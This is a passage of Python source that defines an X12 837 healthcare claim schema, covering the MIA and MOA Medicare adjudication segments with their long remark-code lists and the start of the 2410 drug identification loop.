u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MIA23', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=23, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MIA24', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=24, codes=[] ) ), ), Segment( u'MOA', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'320',desc=u'Medicare Outpatient Adjudication Information'), Element( u'MOA01', Properties(desc=u'Percentage as Decimal', req_sit=u'S', data_type=(u'R',u'1',u'10'), position=1, codes=[] ) ), Element( u'MOA02', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'MOA03', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=3, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MOA04', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=4, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MOA05', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=5, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MOA06', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=6, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MOA07', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=7, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MOA08', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=8, codes=[] ) ), Element( u'MOA09', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=9, codes=[] ) ), ), parsed_837_2330A, parsed_837_2330B, parsed_837_2330C, parsed_837_2330D, parsed_837_2330E, parsed_837_2330F, parsed_837_2330H, ) parsed_837_2410 = Loop( u'2410', Properties(looptype='',repeat=u'25',pos=u'494',req_sit=u'S',desc=u'Drug Identification'), Segment( u'LIN', Properties(syntax=u'P0405 P0607 P0809 P1011 P1213 P1415 P1617 P1819 P2021 P2223 P2425 P2627 P2829 P3031',req_sit=u'S',repeat=u'1',pos=u'494',desc=u'Drug Identification'), Element( u'LIN01', Properties(desc=u'Assigned Identification', req_sit=u'N', 